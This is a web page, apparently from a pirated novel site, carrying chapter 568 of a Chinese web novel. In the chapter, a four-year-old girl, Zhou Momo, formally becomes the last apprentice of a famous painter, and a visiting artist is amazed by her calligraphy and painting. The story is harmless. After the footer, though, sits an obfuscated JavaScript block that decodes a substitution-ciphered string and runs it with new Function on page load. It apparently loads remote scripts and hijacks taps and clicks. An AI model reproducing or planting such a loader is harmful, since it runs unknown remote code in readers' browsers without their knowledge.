首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第568章 瀚文兄,要不这个徒弟让给我吧?算我求你了!

    第567章瀚文兄,要不这个徒弟让给我吧?算我求你了!
    周沫沫手里捏著一卷系著红绳的拜师帖,迈过门槛的时候还有些摇摇晃晃。
    小家伙长得白白嫩嫩,粉雕玉琢,今天把头发编成了两根小辫子垂在两边,穿著小裙子,多了几分乖巧。
    不过。
    这也太小了吧!
    谢沐川和孟瀚文相识四十多年了,对他非常了解。
    跟圈子有些广收门徒的大师不同,瀚文这辈子教了很多学生,但真正收徒却只有八个,其中还包括了两个女儿和一个外孙女。
    倒不能说他收徒唯亲,搞家传那套。
    瀚文那两个女几和外孙女他都见过,也看过她们的画作。
    换成是他,也想收徒啊。
    瀚文和晚秋还是有说法的,真是一生一个准啊,天赋都是拉满的。
    大女儿就不用说了,现在个人画展都开到香江去了,中生代最有名的画家之一。
    二女儿现在是省建筑院的副院长,国内顶尖建筑设计师,没当画家,但也一样证明了瀚文当年的眼光没错。
    就连那外孙女,天赋也是一等一的高,就是后来考了川美,昨天说到香江当设计师去了,有点可惜了,那么好的天赋,真要一直坚持画下去,成就不会比她妈低。
    另外五个徒弟,如今分散各地,有当老师的,有在美术馆当馆长的,也有个人画家,各有成就。
    孟瀚文今天收关门弟子,这可是大事。
    他得有十年没收徒了,多少人绞尽脑汁,却也入不了他的眼。
    他要是提前吆喝一声,不管多远,徒弟和几个老友肯定都会到场。
    但瀚文这人就是太低调了,圈里的朋友那么多,就喊了恰好在蓉城的他。
    这收徒场地也弄得很简单,弄个香案,摆上香炉和烛台,再备上文房四宝,就算齐活了。
    前几天蓉城有个老画家收徒,在蓉城饭店包了个宴会厅,圈里有头有脸的画家请了不少,还有蓉城日报的记者到场拍摄采访。
    他就是为这事来的蓉城。
    但你要论水平和影响力,那老画家自然是不如瀚文的。
    孟瀚文笑著点头:「沐川眼光依旧毒辣啊,这确实就是我今日要收的关门弟子,周沫沫。」
    「这————」谢沐川听见孟瀚文的话,看著那个拿著拜师帖,摇摇晃晃进门来的小姑娘,神情有些恍惚。
    这————对吗?
    「外公!」周沫沫进门来,先看著孟瀚文软糯糯喊道。
    「嗯,沫沫,你来了啊。」孟瀚文笑著点点头,给她介绍道:「这位是谢沐川谢大师,你喊一声师叔就行了,他的花鸟画画的极为精巧,以后有啥不懂你也可以请教他。」
    「谢师叔。」周沫沫看著谢沐川喊了一声,盯著他的山羊胡看了两眼。
    「哎————」谢沐川虽然心有疑惑,但怎奈小姑娘实在太可爱,这一声师叔都叫出口了,不应也不行啊。
    孟安荷作为师门师姐在旁边站著,另一张与孟瀚文并排的八仙椅上坐著沈晚秋。
    沈晚秋今天穿的一身淡紫色对襟绸缎长衫,长发一丝不苟地挽起,插了一根白玉簪子,戴了一对珍珠耳环,看起来非常端庄优雅。
    小家伙进门,先把人给喊了一遍。
    后边跟著进门来的是张淑芬老太太和赵铁英、周淼,还有宋婉清等人。
    「张嬢嬢,你到这边坐著吧。」孟安荷上前来,先把张淑芬老太太牵到旁边的坐席坐著。
    书房不大,只摆了四张八仙椅,其他人便站著观礼。
    甚至大部分周家人都只能站在院子里瞧著。
    但大家的脸上都带著笑意,并未对此有什么不满的情绪。
    「外公,这是我写的拜师帖。」周沫沫上前,已经迫不及待地将手里的拜师帖双手捧著递给了孟瀚文。
    「我看看。」孟瀚文笑著伸手接过,抽掉红绳,将卷起的宣纸缓缓展开。
    「小姑娘亲自写的啊?」谢沐川本来坐在旁边,也跟著探过脑袋来,好奇这么小一个小布丁,能画出一张什么拜师帖来。
    四岁,怕是连筷子都握不好呢,自己写拜师帖,这不胡闹嘛,谢沐川已经忍不住想笑了。
    宣纸缓缓展开,不是那天老画家收徒的烫金大红手卷,就一张裁剪过后的宣纸。
    先入目的是拜师帖」三个大字,字体修长,笔画瘦硬精准,平正中间险绝,颇有几分欧体的感觉。
    谢沐川脸上的笑容消失了,眼睛顿时睁大了几分,这字写的,有点东西啊!
    「师尊道鉴,因久慕孟瀚文师父,德才兼备,知行合一,承蒙师父允纳门下,愿追随师门,承继画派技艺,恪守本心————」
    笑容不会消失,转移到孟瀚文的脸上了,看著这拜师帖,他的嘴角渐渐上扬,根本压不住。
    一旁的沈晚秋看著拜师帖,脸上同样笑意盈盈,小家伙的字进步可真不小,看样子这段时间没少临摹字帖。
    「嗯,写得好。」孟瀚文点点头,把展开的拜师帖递给周沫沫道:「来,沫沫,你念一下。」
    「好哒~」周沫沫接过,然后落落大方念了起来:「师尊道鉴,因久慕————弟子周沫沫,敬拜。乙丑年三月二十五。」
    小家伙吐字清晰,念的字正腔圆。
    谢沐川抿嘴,不是,这些字她真认识啊?
    简直离大谱了!
    林志强拿著相机,在旁边已经按了好几次快门了。
    「好,好啊!」孟瀚文抚掌而笑,跟身旁的谢沐川道:「沐川,你怎么看?」
    谢沐川捂嘴,小声道:「这拜师帖真是小姑娘自己写的?」
    「沫沫,你谢师叔不太相信你的字能写这么好。」孟瀚文直接说道:「来,那边书桌上有现成的笔墨纸砚,你把谢师宴这三个字再写一遍。」
    「不用不用。」谢沐川连忙摆手,他是来捧场的,不是来砸场子的,他小声问一下就算了,哪能就这么大声说出来呢。
    「昂~」周沫沫应了一声,一点不磨叽,爬上长凳往上一跪,摘了一支毛笔,在那磨好墨汁的砚台里蘸了蘸,身体跪直,提笔就开始写了。
    谢沐川见状也是按捺不住起身,走到书桌前看著,他倒真是有些好奇这四岁的小姑娘,是如何写出这份拜师帖来的。
    周沫沫提笔就写,一点都不带犹豫的。
    拜师帖三个大字先写出来,接著开始通篇默写内容。
    「她————她真会啊!」谢沐川目瞪口呆,刚刚看到那张拜师帖的时候还有些质疑,此刻则感受到了深深地震惊。
    一个四岁的小姑娘,竟然已经写得一手不错的字,得到了几分欧体的真传。
    周沫沫写了一半,墨水不够了,抬头看著谢沐川道:「谢师叔,够了吗?」
    「够————够了。」谢沐川尴尬点头,摸了摸脑袋,灰溜溜回了座位上。
    这一刻,他感觉自己像个丑角。
    孟瀚文和孟安荷对了一下眼神,眼里的笑意根本藏不住。
    「好,那接下来拜师仪式正式开始!」孟安荷表情严肃道。
    「先请师父祭告祖师!」
    孟瀚文起身,点燃线香三柱,面朝东方的窗户,行三鞠躬大礼,然后将香插入香炉之中,庄重道:「今择吉日,收纳关门弟子一名,为本门留存香火,请祖师庇佑,画派传承不绝。」
    拜完之后,孟瀚文与周沫沫道:「沫沫,你的祖师爷为浙派孟氏,上可溯源至宋代,历代皆有名家留下名字,希望你将来也能在画史留名。」
    「嗯嗯。」周沫沫乖巧点头,跟著往东边的天空看了一会。
    孟瀚文回到位子上坐著。
    孟安荷接著开始宣述周沫沫的履历:「周沫沫,4岁,嘉州苏稽周村人氏,今就读于嘉州纺织厂幼儿园。」
    三岁半接触画画,受夏瑶启蒙开始画画,如今半年,已展露天赋。
    其年龄虽小,但品学兼优,曾获扫盲班优秀毕业生、见义勇为奖、香江国际美食节特邀嘉宾,登上过四川日报、嘉州日报、四川电视、央视《新闻联播》————」
    谢沐川的嘴巴渐渐长大,表情震惊中又带著几分古怪。
    不是,你一个四岁的孩子,哪来这么一串的履历啊?
    扫盲班优秀毕业生够离谱的吧?四岁的孩子是怎么拿到这个奖的?
    见义勇为奖更离谱的,这么可爱的小姑娘,出门就是人贩子的首要目标,竟然还当上英雄了。
    还上了那么多报纸、电视?还成了香江国际美食节的特邀嘉宾?
    你听听,这像话吗?
    他下意识地想质疑,可看到围观的人们脸上除了一脸宠溺地笑,竟然不带一丝意外,又把话给憋了回去。
    他刚刚已经吃过嘴快的亏了。
    孟瀚文听得连连点头,还不忘跟谢沐川道:「都是真的,电视没法回看,但报纸都是现成的,那边茶几上还摆著两张呢。」
    「你这收的哪吒啊?你是太乙真人是吧?」谢沐川忍不住道。
    孟瀚文笑而不语,今天把沐川请来真是一个明智的选择啊。
    孟安荷介绍完周沫沫,把拜师帖转交给周沫沫道:「接下来诵读拜师帖。」
    周沫沫虽然有点疑惑,但还是乖乖又读了一遍。
    「来,跪在蒲团前边,双手将拜师帖交给师父。」孟安荷指引著周沫沫进行下一步。
    孟瀚文面带微笑接过拜师帖,又认真看了一遍,微微点头,放在了手边的案头上。
    孟安荷接著道:「接下来,行三叩首大礼!」
    「一叩首:感念恩师垂怜,收录门下,倾囊相授笔墨技艺;
    二叩首:————」
    周沫沫乖乖跟著叩首,在家里,周砚让她练习过的,今天做的一丝不苟,非常到位。
    周砚在旁看著,嘴角也是勾起了笑意。
    小家伙平时虽然嘻嘻哈哈,偶尔还有点小调皮,但关键场合真是一点都不拉胯。
    三叩首后,起身再向师娘鞠了一躬。
    接著便是奉茶改口。
    周沫沫小心翼翼端著盖碗茶,第一杯奉师父,脆生生喊道:「师父!」
    孟瀚文接过茶喝了一口,笑著应道:「哎!」
    第二杯敬师娘。
    「师娘!」周沫沫看著沈晚秋喊道。
    「哎,沫沫真乖。」沈晚秋笑盈盈的接过茶杯喝了一口。
    改口敬茶就算完毕了。
    周沫沫正式改口,喊孟瀚文为师父。
    接著要呈送束修六礼。
    周砚提著篮子上前,将备好的六样束修礼奉上。
    孟安荷接过周砚手里的竹编篮子,从中将束修六礼一一取出。
    精制毛笔两套、老墨锭一方,上好宣纸一刀、砚台一方、茶礼、拜师红包一样不少,在书桌上摆开。
    这是周砚上周日来嘉州采办的,每一样都按照嘉州能够找到的最高标准来。
    茶礼用的峨眉雪芽,红包里边放了六张大团结。
    就连装束修礼的篮子,都是花了两块六买的青神竹编礼品篮。
    虽然孟瀚文说一切从简,但周砚一家的态度可是相当端正的,给予了足够的重视。
    拜师孟瀚文,周砚非常清楚地知道,这可能是改变周沫沫一生的重要时刻。
    谢沐川在旁看著,微微点头。
    场地虽然简单,但礼数没有落下。
    「师父,这是我送你的束修六礼。」周沫沫说道。
    「嗯,沫沫有心了,我都收下了。」孟瀚文笑著点头,接著起身从旁边提了个精致的小箱子过来,递给周沫沫:「来,这是师父给你准备的礼物,里边有几刀宣纸,一方端砚,两套宣笔,两套湖笔,你都试著用用看,喜欢用哪种下回跟师父说,以后毛笔师父给你包了。」
    「谢谢师父!」周沫沫开心道,伸手试图去提那箱子,结果提了一下纹丝不动,只好转而向周砚求救:「锅锅,你帮我拎著吧。」
    「要得。」周砚笑著弯腰提起箱子,确实有点沉,应该是砚台比较重一点。
    不过这个小箱子倒是大小合适,非常精美。
    这次沫沫去香江,正愁用什么给她装衣服,这下不用纠结了,装沫沫的东西完全够,还能留一半的空间把周砚的东西装一些。
    「还有一份回徒帖,这是我写给你的,我也给你念一下。」孟瀚文展开他准备的回徒帖,朗声道:「盖闻绘画之道,肇自羲皇,成于顾陆。丹青所以明劝戒,图画足以通鬼神。
    今有苏稽周村周沫沫,幼承庭训,长慕艺林。吾观你笔下烟云,颇有灵气;
    审其胸中丘壑,不染俗尘。性格纯良而勤恪,尊师重道,久而不渝,故而收入门下,为关门弟子。
    艺无止境,勤为舟楫。望你每日勤勉练习,积月累年,自见真力。勉之勉之。
    孟瀚文,乙丑年三月二十五。」
    周沫沫双手接过回徒帖,郑重其事地点头:「嗯嗯,沫沫一定乖乖听话,好好学习,天天向上~~」
    众人闻言,脸上皆露出了笑意。
    孟安荷高声道:「拜师,礼成!」
    众人这才纷纷鼓起掌来。
    周沫沫小小一只,倒是丝毫不怯场,就这么顺顺利利的完成了拜师典礼。
    前后也就一个小时左右。
    整个流程虽然比较简约,但又不失庄重和肃穆。
    「这下沫沫可真是拜入大师门下,以后说不定要成大画家呢。」周泽感慨道,脸上满是笑意。
    「可不是嘛,这孩子打小就机灵,以后肯定有大出息。」周清也是笑道。
    老太太跟沈晚秋摆著龙门阵,脸上的笑就没断过。
    「婉清姐,孟老是很有名的画家吗?」方媛媛小声跟宋婉清问道,她今天是代表周阳来的,也算是代表沫沫的老师来的,但她对情况并不是非常了解。
    「国内最顶级的几位国画大师之一,事迹和作品写进教科书的那种。」宋婉清点头。
    方媛媛的嘴巴顿时张得圆圆的,一脸不可思议。
    天呢!
    沫沫才四岁,竟然已经拜这种级别的大师为师了。
    这前程,简直亮得没边了。
    赵铁英眼眶微微泛红,紧紧握著周淼的手,此刻心情无比激荡。
    她怎么也想不到,这个在村里田坎、坝子上疯跑,天天跟著老太太打长牌、
    摆龙门阵的么女,竟然能拜大师为师,以后真的要走上成为画家的道路了。
    周砚是手背,周沫沫是手心,都是她身上掉下来的肉。
    当妈的,应该没有比此刻更高兴的时候了。
    周淼的脸上同样难掩激动之色。
    门外,沫沫的锅锅们已经开始高兴庆祝了。
    「哎呀,真好啊,沫沫可是有大出息了。」阿伟手里还拎著菜刀,凑到窗边看著,「以后等我结婚的时候,就让她送我一幅画。
    刚来一会的小罗看了他一眼,点头道:「那会沫沫应该已经成为大画家了。」
    阿伟颇为满意地点点头,又突然意识到了什么,咬牙切齿道:「小罗,你啥子意思!你是想说我找不到婆娘是不是?!」
    「我可没说啊,你不要乱讲。」小罗死不承认。
    「莺莺上回说喜欢长得帅的,怕是没那么容易追到手哦。」曾安蓉看著阿伟,认真建议道:「要不你把脑壳磨尖一点吧?」
    「不!要得就是这一腔正气!」阿伟坚定。
    「阿伟,正方形不代表正气。」曾安蓉提示道。
    「够了,曾嬢嬢,我去切菜了!烦求得很————」阿伟转身就走。
    「师父!」周沫沫喊道。
    「哎。」孟瀚文笑著应道。
    「师父!师父!」周沫沫又喊了两声。
    「哎,哎。」孟瀚文主打一个句句有回应,笑得合不拢嘴。
    谢沐川在旁坐著,不禁有点发酸,这样可爱软萌的徒弟,谁不想要一只啊?
    「姨姨,那我是不是要叫你师姐啊?」周沫沫又看向了孟安荷,好奇问道。
    孟安荷笑盈盈地点头:「嗯,这倒是没错,以后你就是我的小师妹了。」
    「师姐~~」周沫沫喊道。
    「哎~~」孟安荷笑得那叫一个开心。
    「锅锅,那你应该喊我啥子呢?」周沫沫转而看向了周砚,一脸认真的问道。
    「你想我喊你啥子?」周砚看著小家伙反问道。
    「我算不明白。」周沫沫摇头。
    「你要喊瑶瑶师姐,那你还是喊我锅锅噻。」周砚理所当然道,他可不上当。
    周沫沫歪头想了想,觉得有道理。
    礼成之后,周砚便出门去操办中午的拜师宴了。
    「你这小徒弟字写的好,画画的如何?」谢沐川倒真是起了好奇之心,先前听孟瀚文的回徒帖中提到,笔下烟云,颇有灵气。
    孟瀚文扭头看了眼窗户,跟周沫沫说道:「沫沫,瞧见那窗外的玉兰花没有,给你谢师叔画一幅送他。」
    周沫沫循声看去,眼睛一亮:「这就是玉兰花啊?粉粉的,好漂酿!」
    「好!那我画一幅吧,可我没带颜料啊。」
    「呐,用师姐的。」孟安荷提了个木箱子过来,打开后,里边整齐摆放著颜料和全套水彩画工具。
    「谢谢师姐!」周沫沫软萌萌说了一声,抱著蒲团跪坐在书桌前,盯著窗外的玉兰花看了一会,然后直接开始调色。
    谢沐川挠头,孟瀚文今天真是一套又一套的,给他整不会了。
    才刚收的徒弟,就让她画幅画送他,这对吗?
    对不对不知道,可小家伙开工可真是不带一丝犹豫的,从盒子里选出自己要用到的颜料,立马开始调配起来。
    谢沐川和孟瀚文起身,一左一右站著,安静看著。
    谢沐川专攻花鸟画,在业内也算是颇有名气。
    他好酒,交友广泛,最爱全国各地游玩,结交本地画家。
    他在一个地方能待多久,取决于本地有没有喝得到一块的朋友。
    可以说,半个圈子都是他的朋友,人称谢半圈。
    当然,一般私底下大家都喊他谢喇叭。
    没办法,他朋友太多了,要是什么消息传到他耳朵里,基本上半个圈子都知道了。
    他可不光在酒局上说,他还非常喜欢写信,日常保持联系的画家就有好几十位。
    孟瀚文在苏稽都能知道他在蓉城,也是这个原因。
    谢沐川跟孟瀚文一边闲聊,一边看著周沫沫调色画画,越看他越心惊,渐渐也就没了聊天的心思。
    周沫沫调色可太果断了,不到十分钟就已经把自己要用的颜色调好了,拿了毛笔在纸上试了颜色,挑了几根毛笔,便直接落笔了。
    先画窗框,细节勾勒的很灵动。
    寥寥几笔,几根枯枝的形就出来了,力道见骨。
    接著开始画花,简单勾勒,一朵朵玉兰花便在树枝上生长而出,有含苞待放,也有张扬盛开的。
    谢沐川越看越心惊,终于忍不住惊叹道:「啧!这笔墨控制力太到位了!你看看这线条,圆润饱满,花瓣看起来都是有弹性的!」
    「繁而不乱,疏而不空,这构图太舒服了!她甚至都没有去思考太久,也没画草图,就直接开画了!」
    「玉兰最怕画的死板,但她笔下的玉兰是有风姿的,画出了玉兰的清贵!」
    谢沐川抓住了孟瀚文的手,一脸恳切道:「瀚文兄,你有八个徒弟了,要不这个让给我吧?我一个成器的徒弟都没呢。」
    「算我求你了!」

一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();